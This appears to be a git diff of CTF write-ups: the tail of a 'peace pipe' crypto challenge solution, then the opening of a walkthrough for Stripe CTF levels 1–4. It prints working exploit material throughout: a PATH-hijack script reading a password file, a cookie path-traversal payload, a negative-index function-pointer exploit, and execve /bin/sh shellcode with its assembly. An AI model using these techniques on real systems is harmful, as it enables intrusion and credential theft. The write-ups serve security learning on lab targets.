|
||||||
|
```
|
||||||
|
|
||||||
|
We try a couple of possibilities to check the outputs:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||||
|
noone
|
||||||
|
Hi noone
|
||||||
|
Cannot find it...
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
|
||||||
|
makawee
|
||||||
|
Oh its you, Im so sorry. Can we talk now?
|
||||||
|
This is your key of truth
|
||||||
|
50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c
|
||||||
|
With magic I did this:
|
||||||
|
922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65
|
||||||
|
We continue our conversation, right?
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*...
|
||||||
|
|
||||||
|
|
||||||
|
### A Dialogue with Makawee
|
||||||
|
|
||||||
|
Let's see what Makawee has to say:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
noone
|
||||||
|
noone ... do I know you?
|
||||||
|
Cannot find it...
|
||||||
|
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
wahkoowah
|
||||||
|
I dont talk to you anymore. That thing with my daughter...
|
||||||
|
|
||||||
|
Ncat: Broken pipe.
|
||||||
|
```
|
||||||
|
|
||||||
|
Mmmm, we need to make Makawee use Wankoowah's key without him knowing it!
|
||||||
|
|
||||||
|
Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1432
|
||||||
|
Hi I'm Chapawee. I know the truth about the stars
|
||||||
|
Say stars for more
|
||||||
|
stars
|
||||||
|
|
||||||
|
I can tell you the truth about
|
||||||
|
* stars
|
||||||
|
* constellation
|
||||||
|
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||||
|
Existing users cannot be
|
||||||
|
overwritten. Input is
|
||||||
|
[a-f0-9]{1,700}.
|
||||||
|
* showstar [starname] Reads the public key from the
|
||||||
|
database.
|
||||||
|
|
||||||
|
namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||||
|
Add the star to the sky...
|
||||||
|
Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
|
||||||
|
```
|
||||||
|
|
||||||
|
Sending it to Makawee:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1434
|
||||||
|
Hi, I'm, Makawee, and you are? Too bright here...
|
||||||
|
mrwhite
|
||||||
|
mrwhite ... do I know you?
|
||||||
|
Disguise does not help
|
||||||
|
```
|
||||||
|
|
||||||
|
Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky...
|
||||||
|
|
||||||
|
|
||||||
|
## Crafting a Solution
|
||||||
|
|
||||||
|
### Master in Disguising
|
||||||
|
|
||||||
|
Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value.
|
||||||
|
|
||||||
|
It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale!
|
||||||
|
|
||||||
|
Let's take a look again at the way the messages are generated:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk.
|
||||||
|
|
||||||
|
That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key.
|
||||||
|
|
||||||
|
|
||||||
|
### Automatizing the Process and getting the Flag!
|
||||||
|
|
||||||
|
|
||||||
|
All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag.
|
||||||
|
|
||||||
|
Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
|
||||||
|
PORTm = 1434
|
||||||
|
PORTw = 1433
|
||||||
|
HOST = 'wildwildweb.fluxfingers.net'
|
||||||
|
|
||||||
|
def peace_pipe():
|
||||||
|
|
||||||
|
""" Get the magic message from some user to calculate rm """
|
||||||
|
# create sockets
|
||||||
|
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
# connect to w
|
||||||
|
sw.connect((HOST, PORTw))
|
||||||
|
sw.recv(4096)
|
||||||
|
sw.send(b'makawee')
|
||||||
|
sw.recv(4096)
|
||||||
|
sec = sw.recv(4096)
|
||||||
|
tw = sec.split("did this:")[1].split("\n")[1].strip()
|
||||||
|
print "\nMagic from w to m: " + tw
|
||||||
|
|
||||||
|
# connect to m
|
||||||
|
sm.connect((HOST, PORTm))
|
||||||
|
sm.recv(4096)
|
||||||
|
sm.send(b'mrblack')
|
||||||
|
sm.recv(4096)
|
||||||
|
sec = sm.recv(4096)
|
||||||
|
tm = sec.split("did this:")[1].split("\n")[1].strip()
|
||||||
|
print "\nMagic from m to w: " + tm
|
||||||
|
|
||||||
|
# send w's magic to m's
|
||||||
|
sm.send(tw)
|
||||||
|
print sm.recv(4096)
|
||||||
|
|
||||||
|
# send m's magic to get the token
|
||||||
|
sw.send(tm)
|
||||||
|
token = sw.recv(4096)
|
||||||
|
token = token.split('\n')[1].strip()
|
||||||
|
print "Token is: " + token
|
||||||
|
|
||||||
|
# finally, send token back to m
|
||||||
|
sm.send(token)
|
||||||
|
print sm.recv(4096)
|
||||||
|
|
||||||
|
sm.close()
|
||||||
|
sw.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
peace_pipe()
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Running it leads us to the flag:
|
||||||
|
```sh
|
||||||
|
python 300_peace_pipe.py
|
||||||
|
|
||||||
|
Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0
|
||||||
|
|
||||||
|
Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9
|
||||||
|
Bit more truth is missing
|
||||||
|
|
||||||
|
Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A=
|
||||||
|
I knew you are able to see IT. Lets get drunk, I tell you where
|
||||||
|
flag{FreeBoozeForEverone-Party!}
|
||||||
|
```
|
575
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md
Normal file
575
CTFs_and_WarGames/CTFs_Writeups/STRIPE_1-2-3/README.md
Normal file
@ -0,0 +1,575 @@
|
|||||||
|
# The First Stripe CTF
|
||||||
|
|
||||||
|
This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up).
|
||||||
|
|
||||||
|
This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://https://singularity-sh.vercel.app/cryptography-war-beating-krypton.html)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 1: Environment Variables
|
||||||
|
|
||||||
|
When I booted the image, I got this first message:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
In the *level01* folder I found:
|
||||||
|
|
||||||
|
* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group).
|
||||||
|
|
||||||
|
* The C source code of this binary:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Checking the code closely we notice the following lines:
|
||||||
|
```
|
||||||
|
printf("Current time: ");
|
||||||
|
fflush(stdout);
|
||||||
|
system("date");
|
||||||
|
```
|
||||||
|
|
||||||
|
A vulnerability becomes quite obvious!
|
||||||
|
|
||||||
|
First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**.
|
||||||
|
|
||||||
|
Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29).
|
||||||
|
|
||||||
|
It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password.
|
||||||
|
|
||||||
|
Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function.
|
||||||
|
|
||||||
|
The final script that leads to the next level's password looks like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/sh
|
||||||
|
cd /tmp
|
||||||
|
echo '/bin/cat /home/level01/.password > date'
|
||||||
|
chmod +x date
|
||||||
|
export PATH=`pwd`:$PATH
|
||||||
|
/levels/level01/level01
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 2: Client's Cookies
|
||||||
|
|
||||||
|
This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data.
|
||||||
|
|
||||||
|
The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*.
|
||||||
|
|
||||||
|
Inspecting closely the code we see that the client's cookie is read without sanitizing its content:
|
||||||
|
|
||||||
|
```
|
||||||
|
<?php
|
||||||
|
$out = '';
|
||||||
|
if (!isset($_COOKIE['user_details'])) {
|
||||||
|
setcookie('user_details', $filename);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
And then the results of this read is printed:
|
||||||
|
```
|
||||||
|
<html>
|
||||||
|
<p><?php echo $out ?></p>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*.
|
||||||
|
|
||||||
|
The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like:
|
||||||
|
|
||||||
|
```
|
||||||
|
Cookie: user_details=../../home/level02/.password
|
||||||
|
```
|
||||||
|
|
||||||
|
Interestingly, it is also possible to solve this problem with just one instruction in the command line:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
|
||||||
|
```
|
||||||
|
|
||||||
|
Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent.
|
||||||
|
|
||||||
|
Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 3: Failure in Input Validation
|
||||||
|
|
||||||
|
The third level comes with another **setuid** binary with the purpose of modifying a string:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ /levels/level03
|
||||||
|
Usage: ./level03 INDEX STRING
|
||||||
|
Possible indices:
|
||||||
|
[0] to_upper [1] to_lower
|
||||||
|
[2] capitalize [3] length
|
||||||
|
```
|
||||||
|
|
||||||
|
The C code is also given:
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#define NUM_FNS 4
|
||||||
|
|
||||||
|
typedef int (*fn_ptr)(const char *);
|
||||||
|
|
||||||
|
int to_upper(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int to_lower(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int capitalize(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int length(const char *str)
|
||||||
|
{(...)}
|
||||||
|
|
||||||
|
int run(const char *str)
|
||||||
|
{
|
||||||
|
// This function is now deprecated.
|
||||||
|
return system(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||||
|
{
|
||||||
|
char buf[64];
|
||||||
|
// Truncate supplied string
|
||||||
|
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||||
|
buf[sizeof(buf) - 1] = '\0';
|
||||||
|
return fns[index](buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int index;
|
||||||
|
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||||
|
|
||||||
|
if (argc != 3) {
|
||||||
|
printf("Usage: ./level03 INDEX STRING\n");
|
||||||
|
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||||
|
printf("[2] capitalize\t[3] length\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse supplied index
|
||||||
|
index = atoi(argv[1]);
|
||||||
|
|
||||||
|
if (index >= NUM_FNS) {
|
||||||
|
printf("Invalid index.\n");
|
||||||
|
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||||
|
printf("[2] capitalize\t[3] length\n");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
return truncate_and_call(fns, index, argv[2]);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C.
|
||||||
|
|
||||||
|
A vulnerability is found in the failure of checking for negative inputs:
|
||||||
|
|
||||||
|
```
|
||||||
|
#define NUM_FNS 4
|
||||||
|
(...)
|
||||||
|
// Parse supplied index
|
||||||
|
index = atoi(argv[1]);
|
||||||
|
if (index >= NUM_FNS) {
|
||||||
|
(...)
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed:
|
||||||
|
|
||||||
|
```
|
||||||
|
typedef int (*fn_ptr)(const char *);
|
||||||
|
(...)
|
||||||
|
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||||
|
(...)
|
||||||
|
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||||
|
{
|
||||||
|
char buf[64];
|
||||||
|
// Truncate supplied string
|
||||||
|
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||||
|
buf[sizeof(buf) - 1] = '\0';
|
||||||
|
return fns[index](buf);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function:
|
||||||
|
|
||||||
|
```
|
||||||
|
int run(const char *str)
|
||||||
|
{
|
||||||
|
return system(str);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Description of the Exploit
|
||||||
|
|
||||||
|
To understand this problem we need to understand the [design of the stack frame](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows:
|
||||||
|
|
||||||
|
1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))).
|
||||||
|
|
||||||
|
|
||||||
|
2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)):
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p &buf
|
||||||
|
(char (*)[64]) 0xffbffa00
|
||||||
|
```
|
||||||
|
|
||||||
|
3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**:
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p (0xffbffa6c - 0xffbffa00)/4
|
||||||
|
27
|
||||||
|
```
|
||||||
|
So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer.
|
||||||
|
|
||||||
|
|
||||||
|
4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at:
|
||||||
|
|
||||||
|
```
|
||||||
|
(gdb) p &run
|
||||||
|
(int (*)(const char *)) 0x80484ac
|
||||||
|
```
|
||||||
|
|
||||||
|
5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ run('\xac\x84\x04\x08');
|
||||||
|
```
|
||||||
|
|
||||||
|
6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
## Level 4: Classic Stack Overflow
|
||||||
|
|
||||||
|
Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code:
|
||||||
|
|
||||||
|
```
|
||||||
|
void fun(char *str)
|
||||||
|
{
|
||||||
|
char buf[1024];
|
||||||
|
strcpy(buf, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if (argc != 2) {
|
||||||
|
printf("Usage: ./level04 STRING");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
fun(argv[1]);
|
||||||
|
printf("Oh no! That didn't work!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**.
|
||||||
|
|
||||||
|
The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed.
|
||||||
|
|
||||||
|
|
||||||
|
### Yet Another Shellcode Introduction
|
||||||
|
|
||||||
|
Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors.
|
||||||
|
|
||||||
|
Let's write the simplest shellcode we can think of, which simply spawns a shell:
|
||||||
|
|
||||||
|
```
|
||||||
|
#include <stdlib.h>
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char *array[2];
|
||||||
|
array[0] = "/bin/sh";
|
||||||
|
array[1] = NULL;
|
||||||
|
execve(array[0], array, NULL);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
With the following **Makefile** (I tend to write Makefiles for anything I compile in C):
|
||||||
|
```
|
||||||
|
shell: simplest_shellcode.c
|
||||||
|
gcc -static -g -o shell simplest_shellcode.c
|
||||||
|
```
|
||||||
|
|
||||||
|
Running **make** will give us our executable **shell**. Now, let's fire up **gdb**:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ gdb shell
|
||||||
|
(gdb) disas main
|
||||||
|
Dump of assembler code for function main:
|
||||||
|
0x00000000004004d0 <+0>: push %rbp
|
||||||
|
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||||
|
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||||
|
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||||
|
0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp)
|
||||||
|
0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax
|
||||||
|
0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx
|
||||||
|
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||||
|
0x00000000004004f5 <+37>: mov %rcx,%rsi
|
||||||
|
0x00000000004004f8 <+40>: mov %rax,%rdi
|
||||||
|
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||||
|
0x0000000000400500 <+48>: mov $0x0,%edi
|
||||||
|
0x0000000000400505 <+53>: callq 0x400e60 <exit>
|
||||||
|
End of assembler dump.
|
||||||
|
```
|
||||||
|
|
||||||
|
The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack:
|
||||||
|
```
|
||||||
|
0x00000000004004d0 <+0>: push %rbp
|
||||||
|
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding:
|
||||||
|
```
|
||||||
|
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
We see this address **0x482be4** being moved to **%rsp**:
|
||||||
|
```
|
||||||
|
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||||
|
```
|
||||||
|
|
||||||
|
It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb:
|
||||||
|
```
|
||||||
|
(gdb) x/1s 0x482be4
|
||||||
|
0x482be4: "/bin/sh"
|
||||||
|
```
|
||||||
|
|
||||||
|
After that, **NULL** is pushed in:
|
||||||
|
```
|
||||||
|
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, **execve** is executed:
|
||||||
|
```
|
||||||
|
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Writing the Shellcode in Assembly
|
||||||
|
|
||||||
|
Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)).
|
||||||
|
|
||||||
|
With an **l** added to the words, the above shellcode in 32-bit machines is:
|
||||||
|
|
||||||
|
```
|
||||||
|
.text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
_start:
|
||||||
|
xorl %eax, %eax /* make eax equal to 0*/
|
||||||
|
pushl %eax /* pushes null*/
|
||||||
|
pushl $0x68732f2f /* push //sh */
|
||||||
|
pushl $0x6e69622f /* push /bin */
|
||||||
|
movl %esp, %ebx /* store /bin/sh */
|
||||||
|
pushl %eax /* use null*/
|
||||||
|
pushl %ebx /* use /bin/sh*/
|
||||||
|
movl %esp, %ecx /* wrutes array */
|
||||||
|
xorl %edx, %edx /* xor to make edx equal to 0 */
|
||||||
|
movb $0xb, %al /* execve system call #11 */
|
||||||
|
int $0x80 /* make an interrupt */
|
||||||
|
```
|
||||||
|
|
||||||
|
To assemble and link this in a 32-bit machine, we do:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ as -o shell.o shell.s
|
||||||
|
$ ld -m -o shell shell.o
|
||||||
|
```
|
||||||
|
|
||||||
|
In a 64-but machine, we do:
|
||||||
|
|
||||||
|
1. Add **.code32** in the top of the Assembly code.
|
||||||
|
2. Assemble with the **--32 flag**.
|
||||||
|
3. Link with the **-m elf_i386** flag.
|
||||||
|
|
||||||
|
Resulting in:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ as --32 -o shell.o shell.s
|
||||||
|
$ ld -m elf_i386 -o shell shell.o
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ objdump -d shell
|
||||||
|
shell: file format elf32-i386
|
||||||
|
Disassembly of section .text:
|
||||||
|
08048054 <_start>:
|
||||||
|
8048054: 31 c0 xor %eax,%eax
|
||||||
|
8048056: 50 push %eax
|
||||||
|
8048057: 68 2f 2f 73 68 push $0x68732f2f
|
||||||
|
804805c: 68 2f 62 69 6e push $0x6e69622f
|
||||||
|
8048061: 89 e3 mov %esp,%ebx
|
||||||
|
8048063: 50 push %eax
|
||||||
|
8048064: 53 push %ebx
|
||||||
|
8048065: 89 e1 mov %esp,%ecx
|
||||||
|
8048067: 31 d2 xor %edx,%edx
|
||||||
|
8048069: b0 0b mov $0xb,%al
|
||||||
|
804806b: cd 80 int $0x80
|
||||||
|
```
|
||||||
|
|
||||||
|
Which in the little-endian representation is:
|
||||||
|
```
|
||||||
|
